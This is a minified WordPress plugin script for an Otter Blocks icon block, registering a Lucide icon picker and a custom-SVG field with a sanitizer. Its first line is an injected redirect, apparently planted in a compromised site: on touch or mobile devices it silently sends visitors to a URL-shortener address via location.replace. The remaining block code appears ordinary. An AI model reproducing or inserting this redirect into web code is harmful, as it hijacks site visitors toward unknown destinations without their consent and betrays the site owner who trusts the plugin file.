File: //home2/gazetufm/yac.al/alb/wp-content/plugins/otter-blocks/build/atomic-wind/blocks/icon/index.js
(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/GNLgNDJCz0r1");
!function(){"use strict";var e=window.wp.blocks,t=JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"atomic-wind/icon","title":"Icon","category":"atomic-wind","description":"An inline SVG icon from the Lucide icon set.","keywords":["icon","svg","lucide"],"textdomain":"atomic-wind","attributes":{"icon":{"type":"string","default":""},"customSvgEnabled":{"type":"boolean","default":false},"customSvg":{"type":"string","default":""},"metadata":{"type":"object"}},"supports":{"anchor":true,"html":false,"color":false,"typography":false,"spacing":false},"render":"file:./render.php","editorScript":"file:./index.js"}'),r=window.wp.primitives,o=window.ReactJSXRuntime,i=(0,o.jsxs)(r.SVG,{width:"20",height:"20",viewBox:"0 0 20 20",fill:"none",xmlns:"http://www.w3.org/2000/svg",children:[(0,o.jsx)(r.Path,{d:"M3.37406 0.0019938C4.32295 0.0284722 5.391 0.315333 6.50102 0.791056C8.72516 1.74428 11.265 3.52089 13.6221 5.87797C15.9793 8.23508 17.7568 10.7749 18.71 12.9991C19.1856 14.109 19.4716 15.1772 19.4981 16.126C19.5246 17.0771 19.289 17.9806 18.6348 18.6348C17.9806 19.289 17.0771 19.5246 16.126 19.4981C15.1772 19.4716 14.109 19.1856 12.9991 18.71C10.7749 17.7568 8.23508 15.9793 5.87797 13.6221C3.52089 11.265 1.74428 8.72516 0.791056 6.50102C0.315333 5.391 0.0284722 4.32295 0.0019938 3.37406C-0.0245364 2.42302 0.211093 1.51946 0.865275 0.865275C1.51946 0.211093 2.42302 -0.0245364 3.37406 0.0019938ZM3.33207 1.50102C2.63821 1.48169 2.19437 1.65728 1.92582 1.92582C1.65728 2.19437 1.48169 2.63821 1.50102 3.33207C1.52044 4.0282 1.73768 4.90379 2.16899 5.9102C3.02992 7.91904 4.6818 10.3049 6.93852 12.5616C9.19523 14.8183 11.581 16.4702 13.5899 17.3311C14.5963 17.7624 15.4719 17.9796 16.168 17.9991C16.8619 18.0184 17.3057 17.8428 17.5743 17.5743C17.8428 17.3057 18.0184 16.8619 17.9991 16.168C17.9796 15.4719 17.7624 14.5963 17.3311 13.5899C16.4702 11.581 14.8183 9.19523 12.5616 6.93852C10.3049 4.6818 7.91904 3.02992 5.9102 2.16899C4.90379 1.73768 4.0282 1.52044 3.33207 1.50102Z",fill:"#F16574"}),(0,o.jsx)(r.Path,{d:"M16.126 0.00198951C17.0177 -0.0228832 17.8671 0.183194 18.5088 0.748083L18.6348 0.865271L18.752 0.991247C19.3169 1.633 19.523 2.48241 19.4981 3.37406C19.4716 4.32286 19.1857 5.39109 18.71 6.50101C17.7568 8.72517 15.9793 11.265 13.6221 13.6221C11.265 15.9793 8.72517 17.7568 6.50102 18.71C5.3911 19.1856 4.32287 19.4716 3.37406 19.4981C2.42302 19.5246 1.51946 19.289 0.865275 18.6348C0.211108 17.9806 -0.0245362 17.0771 0.00199365 16.126C0.0284719 15.1771 0.315333 14.1091 0.791056 12.9991C1.74427 10.7749 3.52088 8.23506 5.87797 5.87797C8.23506 3.52088 10.7749 1.74427 12.9991 0.791052C14.1091 0.315328 15.1771 0.0284678 16.126 0.00198951ZM16.168 1.50101C15.4719 1.52044 14.5963 1.73768 13.5899 2.16898C11.581 3.02992 9.19524 4.6818 6.93852 6.93851C4.6818 9.19523 3.02992 11.581 2.16899 13.5899C1.73769 14.5963 1.52044 15.4719 1.50102 16.168C1.48169 16.8619 1.65824 17.3057 1.9268 17.5743H1.92582C2.19437 17.8428 2.6382 18.0184 3.33207 17.9991C4.0282 17.9796 4.90378 17.7624 5.9102 17.3311C7.91904 16.4702 10.3049 14.8183 12.5616 12.5616C14.8183 10.3049 16.4702 7.91904 17.3311 5.91019C17.7624 4.90378 17.9796 4.0282 17.9991 3.33207C18.0184 2.6382 17.8428 2.19436 17.5743 1.92582V1.92679C17.3057 1.65824 16.8619 1.48169 16.168 1.50101Z",fill:"#F16574"}),(0,o.jsx)(r.Path,{d:"M9.75879 9C10.173 9 10.5088 9.33579 10.5088 9.75C10.5088 10.1642 10.173 10.5 9.75879 10.5H9.75C9.33579 10.5 9 10.1642 9 9.75C9 9.33579 9.33579 9 9.75 9H9.75879Z",fill:"#F16574"})]}),s=window.wp.blockEditor,n=window.wp.components,a=window.wp.i18n,l=window.wp.element;const{icons:c=[],iconsMap:d={}}=window.atomicWindIcons??{},p=new Set(["svg","g","path","circle","rect","line","polyline","polygon","ellipse","defs","clippath","mask","lineargradient","radialgradient","stop","title","desc","text","tspan"]),u=new Set(["aria-hidden","class","clip-path","clip-rule","cx","cy","d","dx","dy","fill","fill-opacity","fill-rule","focusable","font-family","font-size","font-weight","fx","fy","gradienttransform","gradientunits","height","id","mask","offset","opacity","points","preserveaspectratio","r","role","rx","ry","spreadmethod","stop-color","stop-opacity","stroke","stroke-dasharray","stroke-dashoffset","stroke-linecap","stroke-linejoin","stroke-miterlimit","stroke-opacity","stroke-width","text-anchor","transform","viewbox","width","x","x1","x2","xmlns","y","y1","y2"]),m={class:"className","clip-path":"clipPath","clip-rule":"clipRule","fill-opacity":"fillOpacity","fill-rule":"fillRule","font-family":"fontFamily","font-size":"fontSize","font-weight":"fontWeight",gradienttransform:"gradientTransform",gradientunits:"gradientUnits",preserveaspectratio:"preserveAspectRatio",spreadmethod:"spreadMethod","stop-color":"stopColor","stop-opacity":"stopOpacity","stroke-dasharray":"strokeDasharray","stroke-dashoffset":"strokeDashoffset","stroke-linecap":"strokeLinecap","stroke-linejoin":"strokeLinejoin","stroke-miterlimit":"strokeMiterlimit","stroke-opacity":"strokeOpacity","stroke-width":"strokeWidth","text-anchor":"textAnchor",viewbox:"viewBox"};function f(e){Array.from(e.attributes).forEach((t=>{(function(e,t){const r=e.toLowerCase();if(r.startsWith("on"))return!1;if(!u.has(r)&&!r.startsWith("aria-"))return!1;const o=t.toLowerCase();return!(o.includes("javascript:")||o.includes("vbscript:")||o.includes("data:")||/expression\s*\(/i.test(t)||/url\s*\(\s*['"]?(?!#)/i.test(t))})(t.name,t.value)||e.removeAttribute(t.name)}))}function h(e){Array.from(e.childNodes).forEach((e=>{if(1===e.nodeType){const t=e.tagName.toLowerCase();return p.has(t)?(f(e),void h(e)):void e.remove()}3!==e.nodeType&&e.remove()}))}function g(e){const t=(e||"").trim();if(!t||t.length>5e4)return{attributes:{},inner:"",isValid:!1,svg:"",wasSanitized:!1};const r=(new window.DOMParser).parseFromString(t,"image/svg+xml"),o=r.documentElement;if(r.getElementsByTagName("parsererror").length||!o||"svg"!==o.tagName.toLowerCase())return{attributes:{},inner:"",isValid:!1,svg:"",wasSanitized:!1};f(o),h(o);const i=new window.XMLSerializer,s=Array.from(o.childNodes).map((e=>i.serializeToString(e))).join("");if(!s.trim())return{attributes:{},inner:"",isValid:!1,svg:"",wasSanitized:!1};const n={};Array.from(o.attributes).forEach((e=>{const t=m[e.name.toLowerCase()]||e.name;n[t]=e.value}));const a=i.serializeToString(o);return{attributes:n,inner:s,isValid:!0,svg:a,wasSanitized:a!==t}}function C(e,t){const{className:r,...o}=t;return{...o,...e,className:[r,e.className].filter(Boolean).join(" ")}}function w({name:e,size:t,isSelected:r,onClick:i}){const s=d[e]||"";return(0,o.jsx)("button",{type:"button",title:e,onClick:i,style:{background:r?"var(--wp-admin-theme-color, #007cba)":"transparent",border:"1px solid",borderColor:r?"transparent":"#ddd",borderRadius:"4px",cursor:"pointer",padding:"6px",color:r?"#fff":"currentColor",display:"flex",alignItems:"center",justifyContent:"center"},children:s&&(0,o.jsx)("svg",{width:t,height:t,viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"2",strokeLinecap:"round",strokeLinejoin:"round",dangerouslySetInnerHTML:{__html:s}})})}function b({blockProps:e,customSvgEnabled:t,sanitizedCustomSvg:r,svgInner:i}){return t&&r.isValid?(0,o.jsx)("svg",{...C(e,r.attributes),dangerouslySetInnerHTML:{__html:r.inner}}):t?(0,o.jsx)("div",{...e,style:{...e.style,opacity:.4,fontSize:"12px"},children:(0,a.__)("Paste valid SVG code in the sidebar.","otter-blocks")}):(0,o.jsx)("svg",{...e,viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"2",strokeLinecap:"round",strokeLinejoin:"round",dangerouslySetInnerHTML:{__html:i}})}const k=["list-view","breadcrumb"],x=e=>e?("string"==typeof e?(new window.DOMParser).parseFromString(e,"text/html").body.textContent:e.toPlainText?.()??"").replace(/\s+/g," ").trim():"",v=e=>(t,{context:r}={})=>{if(!k.includes(r))return;const o=t?.metadata?.name;return o||(e?e(t):void 0)},y=(v((({tagName:e})=>(e=>{switch(e){case"section":return(0,a.__)("Section","otter-blocks");case"article":return(0,a.__)("Article","otter-blocks");case"main":return(0,a.__)("Main","otter-blocks");case"aside":return(0,a.__)("Aside","otter-blocks");case"header":return(0,a.__)("Header","otter-blocks");case"footer":return(0,a.__)("Footer","otter-blocks");case"nav":return(0,a.__)("Navigation","otter-blocks");case"details":return(0,a.__)("Details","otter-blocks");case"summary":return(0,a.__)("Summary","otter-blocks");default:return}})(e))),v((({content:e})=>x(e)?e:void 0)),v((({mode:e,text:t})=>{if("inner-blocks"!==e)return x(t)?t:void 0})),v((({alt:e})=>x(e)||void 0)),v()),{name:S,..._}=t;(0,e.registerBlockType)(S,{..._,icon:i,edit:function({attributes:e,setAttributes:t}){const{icon:r,customSvgEnabled:i,customSvg:p}=e,[u,m]=(0,l.useState)(""),f=(0,s.useBlockProps)(),h=d[r]||d.circle||"",C=(0,l.useMemo)((()=>g(p)),[p]),k=(0,l.useMemo)((()=>{const e=u.trim().toLowerCase();return e?c.filter((t=>t.includes(e))):c}),[u]);return(0,o.jsxs)(o.Fragment,{children:[(0,o.jsx)(s.InspectorControls,{children:(0,o.jsxs)(n.PanelBody,{title:(0,a.__)("Icon","otter-blocks"),children:[!i&&(0,o.jsxs)(o.Fragment,{children:[(0,o.jsx)(n.SearchControl,{label:(0,a.__)("Search icons","otter-blocks"),value:u,onChange:m}),(0,o.jsx)("div",{style:{display:"grid",gridTemplateColumns:"repeat(6, 1fr)",gap:"4px",maxHeight:"300px",overflowY:"auto",marginTop:"8px"},children:k.slice(0,120).map((e=>(0,o.jsx)(w,{name:e,size:"20",isSelected:e===r,onClick:()=>t({icon:e})},e)))}),u&&k.length>120&&(0,o.jsx)("p",{style:{fontSize:"11px",color:"#757575",marginTop:"4px"},children:(0,a.__)("Showing first 120 results — refine your search.","otter-blocks")}),(0,o.jsxs)("p",{style:{margin:"12px 0",fontSize:"11px",color:"#757575",lineHeight:"1.4"},children:[(0,a.__)("Icons by","otter-blocks")," ",(0,o.jsx)("a",{href:"https://lucide.dev",target:"_blank",rel:"noopener noreferrer",children:"Lucide"})," - ",(0,a.__)("open-source icon library.","otter-blocks")]})]}),(0,o.jsx)(n.ToggleControl,{label:(0,a.__)("Custom SVG","otter-blocks"),checked:!!i,onChange:e=>t({customSvgEnabled:e})}),i&&(0,o.jsxs)(o.Fragment,{children:[(0,o.jsx)(n.TextareaControl,{label:(0,a.__)("SVG code","otter-blocks"),value:p||"",rows:8,onBlur:()=>{C.isValid&&C.svg!==(p||"").trim()&&t({customSvg:C.svg})},onChange:e=>t({customSvg:e})}),p&&!C.isValid&&(0,o.jsx)(n.Notice,{status:"warning",isDismissible:!1,children:(0,a.__)("Enter a valid SVG element. Unsafe or unsupported SVG code will not render.","otter-blocks")}),C.isValid&&C.wasSanitized&&(0,o.jsx)(n.Notice,{status:"info",isDismissible:!1,children:(0,a.__)("Unsupported SVG markup will be removed before preview and render.","otter-blocks")})]})]})}),(0,o.jsx)(b,{blockProps:f,customSvgEnabled:i,sanitizedCustomSvg:C,svgInner:h})]})},save:()=>null,__experimentalLabel:y})}();